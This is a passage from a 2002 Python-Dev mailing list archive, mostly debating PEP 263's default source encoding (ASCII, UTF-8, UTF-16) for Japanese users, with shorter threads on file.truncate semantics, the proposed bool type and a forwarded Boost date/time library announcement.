14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From tismer@tismer.com  Tue Mar 12 00:14:56 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 01:14:56 +0100
Subject: [Python-Dev] Boolean transition
References: <LNBBLJKPBEHFEDALKOLCGEEIODAA.tim.one@comcast.net> <3C8D4831.1030503@tismer.com>
Message-ID: <3C8D4880.4070806@tismer.com>

Christian Tismer wrote:

> Tim Peters wrote:
> 
>>>>    days_in_year = 365 + is_leap(year)
>>>>
>>
>> [Greg Ewing]
>>
>>> This is bug-prone, because it relies on is_leap always
>>> returning a "normalised" boolean value.
>>
> ...
> 
> 
>>> ...
>>> and similarly
>>>
>>>  days_in_year = 365 + 1 if is_leap(year) else 0
>>>
>>> (Yes, I know that one's already been rejected. I can't stop
>>> liking it, though...)
>>>
>>
>> Heh.  I immediately read that as
>>
>>     days_in_year = (365 + 1) if is_leap(year) else 0
>>
>> I'm old enough to wish reality played along <wink>.
> 
> 
> 
> If I would calculate my age using the above formula, it would
> be about 34. A fountain of youth!


Oh, sorry, I was even worse! My age would be 11 :-))

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From tim.one@comcast.net  Tue Mar 12 01:54:04 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 11 Mar 2002 20:54:04 -0500
Subject: [Python-Dev] test_largefile.py failing on Linux
In-Reply-To: <3C8D4517.96BCF7E6@csiro.au>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEJOODAA.tim.one@comcast.net>

I can easily enough change the Windows file.truncate() to leave the file
position alone, although it will *have* to move it if the initial position
is beyond the truncated size.  I'm baffled by what

    http://www.opengroup.org/onlinepubs/7908799/xsh/ftruncate.html

intends by

    These functions do not modify the file offset for any open file
    descriptions associated with the file

in the cases where the current file position is indeed beyond the truncated
size.  A Unix geek will have to answer that.


That leaves the question of whether our docs are saying something intended
when they say:

    If the optional size argument present, the file is truncated
    to (at most) that size.

Do you read that as saying file.truncate() may *increase* the size of the
file?  I didn't at first, but on twelfth thought I'm not sure what it's
trying to say.  Perhaps it's just saying the new size will be <= the
specified size, and that "==" may or may not obtain.



From jon+python-dev@unequivocal.co.uk  Tue Mar 12 02:13:58 2002
From: jon+python-dev@unequivocal.co.uk (Jon Ribbens)
Date: Tue, 12 Mar 2002 02:13:58 +0000
Subject: [Python-Dev] test_largefile.py failing on Linux
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEJOODAA.tim.one@comcast.net>; from tim.one@comcast.net on Mon, Mar 11, 2002 at 08:54:04PM -0500
References: <3C8D4517.96BCF7E6@csiro.au> <LNBBLJKPBEHFEDALKOLCIEJOODAA.tim.one@comcast.net>
Message-ID: <20020312021358.A14468@snowy.squish.net>

Tim Peters <tim.one@comcast.net> wrote:
>     These functions do not modify the file offset for any open file
>     descriptions associated with the file
> 
> in the cases where the current file position is indeed beyond the truncated
> size.  A Unix geek will have to answer that.

If you write to a position beyond the end of the file, the file will
have a hole in between the previous end and where you wrote. Holes
look like zeroes when you read the file, but do not take up any space
on disk.

i.e. low-level hidden effects aside, the current file position will be
beyond the end of the file, reads will obviously return EOF and writes
will cause the file to be zero-filled from the old end to the current
position and then the new data written.


From python@discworld.dyndns.org  Tue Mar 12 02:14:42 2002
From: python@discworld.dyndns.org (Charles Cazabon)
Date: Mon, 11 Mar 2002 20:14:42 -0600
Subject: [Python-Dev] test_largefile.py failing on Linux
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEJOODAA.tim.one@comcast.net>; from tim.one@comcast.net on Mon, Mar 11, 2002 at 08:54:04PM -0500
References: <3C8D4517.96BCF7E6@csiro.au> <LNBBLJKPBEHFEDALKOLCIEJOODAA.tim.one@comcast.net>
Message-ID: <20020311201442.B30314@twoflower.internal.do>

Tim Peters <tim.one@comcast.net> wrote:
> I can easily enough change the Windows file.truncate() to leave the file
> position alone, although it will *have* to move it if the initial position
> is beyond the truncated size.  I'm baffled by what
> 
>     http://www.opengroup.org/onlinepubs/7908799/xsh/ftruncate.html
> 
> intends by
> 
>     These functions do not modify the file offset for any open file
>     descriptions associated with the file
> 
> in the cases where the current file position is indeed beyond the truncated
> size.  A Unix geek will have to answer that.

It should create a sparse file on the next write to the file, if the file
offset is not changed.  If the platform doesn't support sparse files, it
should be padded with 0 bytes by the OS to the necessary length to allow the
write to take place at the specified offset.

Charles
-- 
-----------------------------------------------------------------------
Charles Cazabon                           <python@discworld.dyndns.org>
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
-----------------------------------------------------------------------


From suzuki611@oki.com  Tue Mar 12 03:36:23 2002
From: suzuki611@oki.com (SUZUKI Hisao)
Date: Tue, 12 Mar 2002 12:36:23 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
Message-ID: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>

   I am a Japanese fan/developer/user of Python for years.  I
have recently read the PEP 263 --- Defining Python Source Code
Encodings.  I have been discussing about it on the Japanese
mailing list of Python last week, and I and others found a
severe fault in it.
   I have also read the Parade of the PEPs and know that it is
very close to being checked in, so I am writing this message to
you in English in a hurry.  The PEP 263, as is, will damage the
usability of Python in Japan.

   The PEP says, "Just as in coercion of strings to Unicode,
Python will default to the interpreter's default encoding (which
is ASCII in standard Python installations) as standard encoding
if no other encoding hints are given."  This will let many
English people free from writing the magic comment to their
scripts explicitly.  However, many Japanese set the default
encoding other than ASCII (we use multi-byte encodings for daily
use, not as luxury), and some Japanese set it, say, "utf-16".

   By the PEP as is, persons who use "utf-16" etc. will not be
able to use many Python scripts any more.  Certainly you can
tell them not to use "utf-16" as the default encoding.  But some
of them have been writing their scripts in ASCII just as
specified in the Language Reference, just omitting the encoding
specification from their scripts to handle their Unicode
documents easily.  Thus it would be safe to say that it is
simply unfair.

   I would propose that Python should default to ASCII as
standard encoding if no other encoding hints are given, as the
bottom line.  The interpreter's default encoding should not be
referred for source code.
   And I hope that Python defaults to UTF-8 as standard encoding
if no other encoding hints are given.  It is ASCII-compatible
perfectly and language-neutral.  If you once commit yourself to
Unicode, I think, UTF-8 is an obvious choice anyway.

   From my experiences, inserting the '-*- coding: <coding name>
-*-' line into an existing file and converting such a file into
UTF-8 are almost the same amount of work.  We will be glad if
Python understands Japanese (and other) characters by default
(by adopting, say, UTF-8 as default).

--
SUZUKI Hisao <suzuki@acm.org> <suzuki611@okisoft.co.jp>


From guido@python.org  Tue Mar 12 04:05:47 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 11 Mar 2002 23:05:47 -0500
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: Your message of "Tue, 12 Mar 2002 12:36:23 +0900."
 <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
Message-ID: <200203120405.g2C45l710409@pcp742651pcs.reston01.va.comcast.net>


From David Abrahams" <david.abrahams@rcn.com  Tue Mar 12 04:21:49 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Mon, 11 Mar 2002 23:21:49 -0500
Subject: [Python-Dev] Fw: [boost] GDTL - Time Library (Version 052) -- Request for review
Message-ID: <01f501c1c97d$cc292cb0$0202a8c0@boostconsulting.com>

For what it's worth to you...

----- Original Message -----
From: "Jeff Garland" <jeff@crystalclearsoftware.com>
To: <boost@yahoogroups.com>
Sent: Monday, March 11, 2002 11:12 PM
Subject: [boost] GDTL - Time Library (Version 052) -- Request for review


> All -
>
> I have uploaded a second GDTL submission which now includes both a
gregorian
> date system and a time system as well.  The time system has
nano-second
> resolution with no built in adjustments for time zones or leap
seconds.  I
> expect we will eventually add other time systems that handle these
adjustments.
> However the current library should cover a wide variety of
applications and will
> be plenty to review.
>
> Here are some usage examples from the docs:
>
> using namespace gregorian;
> using namespace posix_time;
> date d(2002,Feb,1); //an arbitrary date
> ptime t1(d, hours(5)+nanosec(100));//date + time of day offset
> ptime t2 = t1 - minutes(4)+seconds(2);
> ptime now = second_clock::local_time(); //use the clock
> //Get the date part out of the time
> date today = now.date();
> date tommorrow = today + date_duration(1);
> ptime tommorrow_start(tommorrow); //midnight tommorrow
>
> //starting at current time iterator adds by one hour
> time_iterator titr(now,hours(1));
> for (; titr < tommorrow_start; ++titr) {
>    std::cout << to_simple_string(*titr) << std::endl;
> }
>
> //convert a utc time to a local time using the TZ settings of the
machine
> typedef gdtl::local_adjustor<ptime> local_adj;
> ptime t10(date(2002,Jan,1), hours(7)); //the utc time
> ptime t11 = local_adj::utc_to_local(t10);
>
>
> The files including extensive test programs and examples can be found
here:
>
> http://groups.yahoo.com/group/boost/files/GDTL/
>
> The package includes an overview documentation page, but most of the
> documentation remains online at:
>
> http://www.crystalclearsoftware.com/gdtl/gdtl_ref_guide/index.html
>
>
> As for compilers, this code has compiled and tested against BCC5.1.1,
gcc3.0.3
> Linux, gcc2.95-3 cygwin, and gcc2.95.3 Linux.  MSVC7 RC2 has some
errors in utc
> to local conversion templates, but is mostly ok.  MSVC6 is likely
similar to
> MSVC7 based on experience with previous versions.
>
> Jeff




From guido@python.org  Tue Mar 12 04:32:57 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 11 Mar 2002 23:32:57 -0500
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: Your message of "Tue, 12 Mar 2002 12:36:23 +0900."
 <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
Message-ID: <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>

>    I am a Japanese fan/developer/user of Python for years.  I
> have recently read the PEP 263 --- Defining Python Source Code
> Encodings.  I have been discussing about it on the Japanese
> mailing list of Python last week, and I and others found a
> severe fault in it.
>    I have also read the Parade of the PEPs and know that it is
> very close to being checked in, so I am writing this message to
> you in English in a hurry.  The PEP 263, as is, will damage the
> usability of Python in Japan.

Thanks for writing!  I promise you that we won't hurry to check in the
PEP until we have thoroughly examined your objection.  Since encodings
are much more important for your country than for most western
countries, it would be a mistake if we added a feature that had the
opposite effect for you as intended!

>    The PEP says, "Just as in coercion of strings to Unicode,
> Python will default to the interpreter's default encoding (which
> is ASCII in standard Python installations) as standard encoding
> if no other encoding hints are given."  This will let many
> English people free from writing the magic comment to their
> scripts explicitly.  However, many Japanese set the default
> encoding other than ASCII (we use multi-byte encodings for daily
> use, not as luxury), and some Japanese set it, say, "utf-16".

Is your objection specifically focused on UTF-16?  As far as I
understand, UTF-16 is (mostly) a two-byte encoding, that is not a
superset of ASCII (i.e. the 8-bit string "abcd", when interpreted
using UTF-16, does not mean the same thing as the Unicode string
u"abcd").  This sets UTF-16 apart from most other encodings, in
particular UTF-8, but also (I believe) the common Japanese 8-bit
encodings like Shift-JIS and EUC-JP.

You write "set the default encoding".  There are many ways to set a
default encodings.  Python has a very specific way to set its default
encoding: the only way is to edit the site.py library module.  Is this
what you are referring to?

I would think that setting Python's default encoding to UTF-16 in this
way is a bad idea, because it breaks the main purpose of the default
encoding: to allow an automatic coercion from the 8-bit strings that
are used in many places in Python programs to Unicode strings.  It
would mean that a program that writes

    if "abcd" == u"abcd":
       print "OK"
    else:
       print "Booh"

would print "Booh", because "abcd" interpreted as UTF-16 is a
two-character Unicode string (and I wouldn't be surprised if it
contained invalid code points).

For this reason, I find it hard to believe that people really set the
Python default encoding in site.py to "utf-16".  Maybe I'm wrong -- or
maybe you're talking about a different default encoding?

>    By the PEP as is, persons who use "utf-16" etc. will not be
> able to use many Python scripts any more.  Certainly you can
> tell them not to use "utf-16" as the default encoding.  But some
> of them have been writing their scripts in ASCII just as
> specified in the Language Reference, just omitting the encoding
> specification from their scripts to handle their Unicode
> documents easily.  Thus it would be safe to say that it is
> simply unfair.

It sounds like these people never rely on the implicit conversion
between 8-bit strings and Unicode as I showed above, but instead use
explicit conversions from data read from Unicode files, omitting the
encoding.  So maybe you really do mean what I fear (setting Python's
default encoding to UTF-16 in site.py).

>    I would propose that Python should default to ASCII as
> standard encoding if no other encoding hints are given, as the
> bottom line.  The interpreter's default encoding should not be
> referred for source code.

Unfortunately, this doesn't work for people in Europe, who set Latin-1
as the default encoding, and want to use Latin-1 in their source
files.

I think I can propose a compromise though: there may be two default
encodings, one used for Python source code, and one for data.
Normally, a single default encoding is used for both cases, but it is
possible to specify two different defaults, and then persons who like
UTF-16 can set ASCII as the default source encoding but UTF-16 as the
default data encoding.

>    And I hope that Python defaults to UTF-8 as standard encoding
> if no other encoding hints are given.  It is ASCII-compatible
> perfectly and language-neutral.  If you once commit yourself to
> Unicode, I think, UTF-8 is an obvious choice anyway.

I'm not sure I understand.  (I understand UTF-8 perfectly well. :-)
In the previous paragraph you propose to default to ASCII.  In this
paragraph you propose to default to UTF-8.  Now which do you want?  Or
do you want to propose these two for different situations?

Note that I originally wanted to use UTF-8 as the default encoding,
but was convinced otherwise by the Europeans who rarely use UTF-8 but
often Latin-1: but rather than giving anyone preferential treatment
(except for the Americans, whose keyboads don't have keys that
generate non-ASCII characters :-), I decided that the only fair
solution was to default to ASCII, which has the property that any
non-ASCII characters are considered an error.  But of course, the
option to edit site.py sort of defeats this purpose. :-)

>    From my experiences, inserting the '-*- coding: <coding name>
> -*-' line into an existing file and converting such a file into
> UTF-8 are almost the same amount of work.

Yes, for those people who have a UTF-8 toolchain set up.  I expect
that many Europeans don't have one handy, because their needs are met
by Latin-1.

> We will be glad if Python understands Japanese (and other)
> characters by default (by adopting, say, UTF-8 as default).

I think that in the future, we be able to change the default to
UTF-8.  Picking ASCII as the "official" default has the advantage that
it will let us switch to UTF-8 in the future, when we feel that there
is enough support for UTF-8 in the average computer system.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From ishimoto@gembook.org  Tue Mar 12 06:40:17 2002
From: ishimoto@gembook.org (Atsuo Ishimoto)
Date: Tue, 12 Mar 2002 15:40:17 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
Message-ID: <20020312145758.AA5B.ISHIMOTO@gembook.org>

Hello,
I'm also a long-time Japanese Python user.

> Thanks for writing!  I promise you that we won't hurry to check in the
> PEP until we have thoroughly examined your objection.  Since encodings
> are much more important for your country than for most western
> countries, it would be a mistake if we added a feature that had the
> opposite effect for you as intended!
> 

In this case, I don't think you made a mistake. While Suzuki screamed
around the Japanese Python mailing list about this topic, I cannot
recall messages agree with him.

> For this reason, I find it hard to believe that people really set the
> Python default encoding in site.py to "utf-16".  Maybe I'm wrong -- or
> maybe you're talking about a different default encoding?

This point was told in the Japanese mailing list, but no one cared about
this. It can cause a problem, but I don't think it really happens.

> >    From my experiences, inserting the '-*- coding: <coding name>
> > -*-' line into an existing file and converting such a file into
> > UTF-8 are almost the same amount of work.
> 
> Yes, for those people who have a UTF-8 toolchain set up.  I expect
> that many Europeans don't have one handy, because their needs are met
> by Latin-1.
> 

Many Japanese don't have such tools, also.

> > We will be glad if Python understands Japanese (and other)
> > characters by default (by adopting, say, UTF-8 as default).
> 
> I think that in the future, we be able to change the default to
> UTF-8.  Picking ASCII as the "official" default has the advantage that
> it will let us switch to UTF-8 in the future, when we feel that there
> is enough support for UTF-8 in the average computer system.
> 

Agreed, we will be able to move to UTF-8 someday, but not today.

--------------------------
Atsuo Ishimoto
ishimoto@gembook.org
Homepage:http://www.gembook.jp



From pf@artcom-gmbh.de  Tue Mar 12 07:42:55 2002
From: pf@artcom-gmbh.de (Peter Funk)
Date: Tue, 12 Mar 2002 08:42:55 +0100 (CET)
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <3C8D2A5C.C3C9B6C9@prescod.net> from Paul Prescod at "Mar 11, 2002
 02:06:20 pm"
Message-ID: <m16kgvv-004CzfC@artcom0.artcom-gmbh.de>

Hi,

Paul Prescod:
> "Gerald S. Williams" wrote:
> > 
> > Please don't take this as a real endorsement, and YMMV to
> > be sure, but somehow this seems right to me given the way
> > Python currently determines "truth":
> > 
> > >>> 1 == True, 2 == True, [] == False
> > (True, True, True)
> 
> I'm confident that will never be the case.
> 
> if x:
>   ...
> 
> should be considered a shortcut syntax for
> 
> if bool(x):
>    ...
> 
> That says nothing about the equality of the object x and one of the two
> truth constants. 

That would slaughter backward compatibility.  And that would
hurt the trust and expectations of current Python users.

Please don't do this.  
Please don't sacrifice backward compatibility.

Regards, Peter
-- 
Peter Funk, Oldenburger Str.86, D-27777 Ganderkesee, Germany, Fax:+49 4222950260
office: +49 421 20419-0 (ArtCom GmbH, Grazer Str.8, D-28359 Bremen, Germany)



From martin@v.loewis.de  Tue Mar 12 08:21:49 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 12 Mar 2002 09:21:49 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
Message-ID: <m3n0xe5h7m.fsf@mira.informatik.hu-berlin.de>

SUZUKI Hisao <suzuki611@oki.com> writes:

>    I have also read the Parade of the PEPs and know that it is
> very close to being checked in, so I am writing this message to
> you in English in a hurry.  The PEP 263, as is, will damage the
> usability of Python in Japan.

Please understand that the issue you bring up was specifically added
on request of Japanese users.

>    The PEP says, "Just as in coercion of strings to Unicode,
> Python will default to the interpreter's default encoding (which
> is ASCII in standard Python installations) as standard encoding
> if no other encoding hints are given."  This will let many
> English people free from writing the magic comment to their
> scripts explicitly.  

While that is true, it will in particular free Japanese users from
putting encoding declarations in their files. Japanese users often
declare the default encoding to be shift-jis or euc-jp. When Python
source code is transmitted between Unix and Windows, tools are used to
convert files between these two encodings. If there is an encoding
declaration, those tools would need to change this, too, but the
existing tools don't.

Therefore, it was considered desirable to not use an encoding
declaration if the default encoding matches the file encoding. It is
well-understood that files without declared encoding will be less
portable across systems.

> However, many Japanese set the default encoding other than ASCII (we
> use multi-byte encodings for daily use, not as luxury), and some
> Japanese set it, say, "utf-16".

I cannot believe this statement. Much of the standard library will
break if you set the default encoding to utf-16; any sensible setting
of the default encoding sets it to an ASCII superset (in the sense
"ASCII strings have the same bytes under that encoding"). Anybody
setting the default encoding to utf-16 has much bigger problems than
source encodings.

My personal view is that the default encoding should be left at
"ascii" in all cases, and that explicit code set conversions should be
used in source code throughout.

>    By the PEP as is, persons who use "utf-16" etc. will not be able
> to use many Python scripts any more.  Certainly you can tell them
> not to use "utf-16" as the default encoding.  

It would be good advice to tell them so. However, it would be even
better to tell them that they need to declare the source encoding on
each file they produce.

> But some of them have been writing their scripts in ASCII just as
> specified in the Language Reference, just omitting the encoding
> specification from their scripts to handle their Unicode documents
> easily.  Thus it would be safe to say that it is simply unfair.

There is nothing wrong with writing scripts in ASCII. In phase 1 of
the implementation, you will get away with that if you don't use
Unicode literals. In phase 2, you either need to declare the source
encoding on all files, or change the system encoding. Doing the latter
is better - setting the default encoding to "utf-16" just won't work
in practice.

>    I would propose that Python should default to ASCII as
> standard encoding if no other encoding hints are given, as the
> bottom line.  The interpreter's default encoding should not be
> referred for source code.

The first version of the PEP said so (it actually said that Latin-1 is
the default encoding); then it was changed on request of Japanese
users.

>    And I hope that Python defaults to UTF-8 as standard encoding
> if no other encoding hints are given.  

Isn't that contradictory to what you just said?

> It is ASCII-compatible perfectly and language-neutral.  If you once
> commit yourself to Unicode, I think, UTF-8 is an obvious choice
> anyway.

I certainly agree. Under the PEP, you can put the UTF-8 signature (BOM
encoded as UTF-8) in all files (or ask your text editor to do that for
you), and you won't need any additional encoding declaration. Windows
notepad does that already if you ask it to save files as UTF-8, and
I'd assume other editors will offer that feature as well.

In any case, choice of source encoding, under the PEP, is the user's
choice. The option of making UTF-8 the standard encoding for all
source files has been explicitly considered and was rejected.

>    From my experiences, inserting the '-*- coding: <coding name>
> -*-' line into an existing file and converting such a file into
> UTF-8 are almost the same amount of work.  We will be glad if
> Python understands Japanese (and other) characters by default
> (by adopting, say, UTF-8 as default).

There is no need to adopt anything as the default to understand
Japanese.

Regards,
Martin



From mal@lemburg.com  Tue Mar 12 09:02:52 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 12 Mar 2002 10:02:52 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
Message-ID: <3C8DC43C.928590D9@lemburg.com>

SUZUKI Hisao wrote:
> 
>    I am a Japanese fan/developer/user of Python for years.  I
> have recently read the PEP 263 --- Defining Python Source Code
> Encodings.  I have been discussing about it on the Japanese
> mailing list of Python last week, and I and others found a
> severe fault in it.
>    I have also read the Parade of the PEPs and know that it is
> very close to being checked in, so I am writing this message to
> you in English in a hurry.  The PEP 263, as is, will damage the
> usability of Python in Japan.

I certainly hope not since the PEP was specifically invented
to address those parts of the world which do not use ASCII or
Latin-1 as common encoding.

Reading your comments, though, I believe that the PEP actually
does help in your case too:

All you have to do is be explicit in the coding header of
a source file rather than no using such a header at all.

So in the end, you have to change one line per Python source
script, telling the interpreter what encoding the file
uses and your done.

Even though this requires a bit of work, in the end, I believe
that it is a net win, since you no longer have to maintain
magic data about the file via some other means.
 
>    The PEP says, "Just as in coercion of strings to Unicode,
> Python will default to the interpreter's default encoding (which
> is ASCII in standard Python installations) as standard encoding
> if no other encoding hints are given."  This will let many
> English people free from writing the magic comment to their
> scripts explicitly.  However, many Japanese set the default
> encoding other than ASCII (we use multi-byte encodings for daily
> use, not as luxury), and some Japanese set it, say, "utf-16".

This only applies if the interpreter does not find a
coding header. 

Strange enough, I changed the above lines
in the PEP to meet the demands of a Japanese Python user,
who uses two Japanese encodings on two different platforms:
They have the problem that they use CVS for the code and
thus can only have one coding header. One solution was to
not use the encoding header and set the default encoding
depending on the platform they run the code on. Another
solution involved a magic codec which determines its
encoding on a per-platform basis -- luckily the Python
codec registry is easily extendable so this doesn't pose
much of a problem.

BTW, using UTF-16 as default is a particularly bad choice...
you might as well stick to all Unicode then since Python
uses UCS-2 as internal storage format on narrow builds.

I hope this clarifies your concerns.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From suzuki611@oki.com  Tue Mar 12 10:54:25 2002
From: suzuki611@oki.com (SUZUKI Hisao)
Date: Tue, 12 Mar 2002 19:54:25 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
 (message from Guido van Rossum on Mon, 11 Mar 2002 23:32:57 -0500)
Message-ID: <200203121054.TAA30486@suzuki611.ngo.okisoft.co.jp>

Thank you for reading my message.

> Is your objection specifically focused on UTF-16?  As far as I
> understand, UTF-16 is (mostly) a two-byte encoding, that is not a
> superset of ASCII (i.e. the 8-bit string "abcd", when interpreted
> using UTF-16, does not mean the same thing as the Unicode string
> u"abcd").  This sets UTF-16 apart from most other encodings, in
> particular UTF-8, but also (I believe) the common Japanese 8-bit
> encodings like Shift-JIS and EUC-JP.

Yes, UTF-16 is a two-byte encoding and not a superset of ASCII.
We use ISO-2022-JP, EUC-JP, UTF-8 and Shift_JIS _where_
ASCII-compatibility is needed more or less (for example, e-mail
messages and program source codes).

In addition, we _often_ have to handle Japanese documents
written in UTF-16.  They are produced sometimes by Java
programs, and sometimes by text editors.  Some of us currently
use Unicode mainly for them.

> You write "set the default encoding".  There are many ways to set a
> default encodings.  Python has a very specific way to set its default
> encoding: the only way is to edit the site.py library module.  Is this
> what you are referring to?

Yes.

> I would think that setting Python's default encoding to UTF-16 in this
> way is a bad idea, because it breaks the main purpose of the default
> encoding: to allow an automatic coercion from the 8-bit strings that
> are used in many places in Python programs to Unicode strings.  
[...]
> For this reason, I find it hard to believe that people really set the
> Python default encoding in site.py to "utf-16".  Maybe I'm wrong -- or
> maybe you're talking about a different default encoding?

What we handle in Unicode with Python is often a document file
in UTF-16.  The default encoding is mainly applied to data from
the document.  Certainly we use EUC-JP etc. in Python scripts,
but mostly use them as comments or some such things.

Setting the default to UTF-16 is often a handy way to handle
Unicode for the present.

> It sounds like these people never rely on the implicit conversion
> between 8-bit strings and Unicode as I showed above, but instead use
> explicit conversions from data read from Unicode files, omitting the
> encoding.  So maybe you really do mean what I fear (setting Python's
> default encoding to UTF-16 in site.py).

Yes, I mean such things.  Please note that
u'<whatever-in-ascii>' is interpreted just literally and we
cannot put Japanese characters in string literals legally for
now anyway.

Python 2.2 (#1, Jan 16 2002, 12:05:05) 
[GCC egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.getdefaultencoding()
'utf_16_be'
>>> u'abc'
u'abc'
>>> unicode("\x00a\x00b\x00c")
u'abc'


> >    I would propose that Python should default to ASCII as
> > standard encoding if no other encoding hints are given, as the
> > bottom line.  The interpreter's default encoding should not be
> > referred for source code.
> Unfortunately, this doesn't work for people in Europe, who set Latin-1
> as the default encoding, and want to use Latin-1 in their source
> files.

And neither for another some of us in Japan, who set EUC-JP as
the default encoding, and want to use EUC-JP in their source
files.

> I think I can propose a compromise though: there may be two default
> encodings, one used for Python source code, and one for data.
> Normally, a single default encoding is used for both cases, but it is
> possible to specify two different defaults, and then persons who like
> UTF-16 can set ASCII as the default source encoding but UTF-16 as the
> default data encoding.

It sounds very nice.  I understand that the default data
encoding will be applied to what from file objects.  It must be
the only(?) satisfying solution if the default source encoding
is to be set in site.py.
# Or else we should give up the default encoding for data...

> >    And I hope that Python defaults to UTF-8 as standard encoding
> > if no other encoding hints are given.  It is ASCII-compatible
> > perfectly and language-neutral.  If you once commit yourself to
> > Unicode, I think, UTF-8 is an obvious choice anyway.
> I'm not sure I understand.  (I understand UTF-8 perfectly well. :-)
> In the previous paragraph you propose to default to ASCII.  In this
> paragraph you propose to default to UTF-8.  Now which do you want?  Or
> do you want to propose these two for different situations?

I'm sorry for the ambiguity.
I proposed ASCII as the _minimum_ request.  I'd _hope_ UTF-8.

> Note that I originally wanted to use UTF-8 as the default encoding,
> but was convinced otherwise by the Europeans who rarely use UTF-8 but
> often Latin-1: but rather than giving anyone preferential treatment
> (except for the Americans, whose keyboads don't have keys that
> generate non-ASCII characters :-), I decided that the only fair
> solution was to default to ASCII, which has the property that any
> non-ASCII characters are considered an error.  But of course, the
> option to edit site.py sort of defeats this purpose. :-)

ASCII can express, I believe, _only_ English and classical Latin
well.  It would be safe to say that it is unfair for all people
in the world except for English-speaking people.

Once committed to Unicode, and if ASCII-compatibility is
mandatory, UTF-8, which is language-neutral, seems to be the
only fair solution to everyone.
# Of course, it might not be so if committed to ISO-2022...

> >    From my experiences, inserting the '-*- coding: <coding name>
> > -*-' line into an existing file and converting such a file into
> > UTF-8 are almost the same amount of work.
> Yes, for those people who have a UTF-8 toolchain set up.  I expect
> that many Europeans don't have one handy, because their needs are met
> by Latin-1.

Writing a converter from Latin-1 to UTF-8 is an easy exercise in
Python programming.  For a UTF-8 editor, IDLE on Tck/Tk8.3 may
be handy.

Those who want to use Latin-1 in the source code can always
specify '-*- coding: latin-1 -*-'.

> > We will be glad if Python understands Japanese (and other)
> > characters by default (by adopting, say, UTF-8 as default).

> I think that in the future, we be able to change the default to
> UTF-8.  Picking ASCII as the "official" default has the advantage that
> it will let us switch to UTF-8 in the future, when we feel that there
> is enough support for UTF-8 in the average computer system.

If one does not have enough support for UTF-8, and has some
8-bit clean editor (which is mandatory for Latin-1), I think,
UTF-8 is effectively the same as ASCII -- one can program
entirely in ASCII and cannot put national characters directly.

Others may distribute programs in UTF-8, but they will restrict
the usage of national characters reasonably (say, to their
signatures) if they want to make their programs open to all over
the world effectively.  Natinal characters may be displayed as
some meta characters on the editor.

# Of course, it may be not the case if the program depends deeply
# upon the local culture... (One example comes to my mind: I Ching
# -- it is pan-East-Asian!)

--
SUZUKI Hisao <suzuki@acm.org> <suzuki611@okisoft.co.jp>


From suzuki611@oki.com  Tue Mar 12 10:57:35 2002
From: suzuki611@oki.com (SUZUKI Hisao)
Date: Tue, 12 Mar 2002 19:57:35 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
 (message from Guido van Rossum on Mon, 11 Mar 2002 23:32:57 -0500)
Message-ID: <200203121057.TAA30512@suzuki611.ngo.okisoft.co.jp>

Thank you for reading my message.

> Is your objection specifically focused on UTF-16?  As far as I
> understand, UTF-16 is (mostly) a two-byte encoding, that is not a
> superset of ASCII (i.e. the 8-bit string "abcd", when interpreted
> using UTF-16, does not mean the same thing as the Unicode string
> u"abcd").  This sets UTF-16 apart from most other encodings, in
> particular UTF-8, but also (I believe) the common Japanese 8-bit
> encodings like Shift-JIS and EUC-JP.

Yes, UTF-16 is a two-byte encoding and not a superset of ASCII.
We use ISO-2022-JP, EUC-JP, UTF-8 and Shift_JIS _where_
ASCII-compatibility is needed more or less (for example, e-mail
messages and program source codes).

In addition, we _often_ have to handle Japanese documents
written in UTF-16.  They are produced sometimes by Java
programs, and sometimes by text editors.  Some of us currently
use Unicode mainly for them.

> You write "set the default encoding".  There are many ways to set a
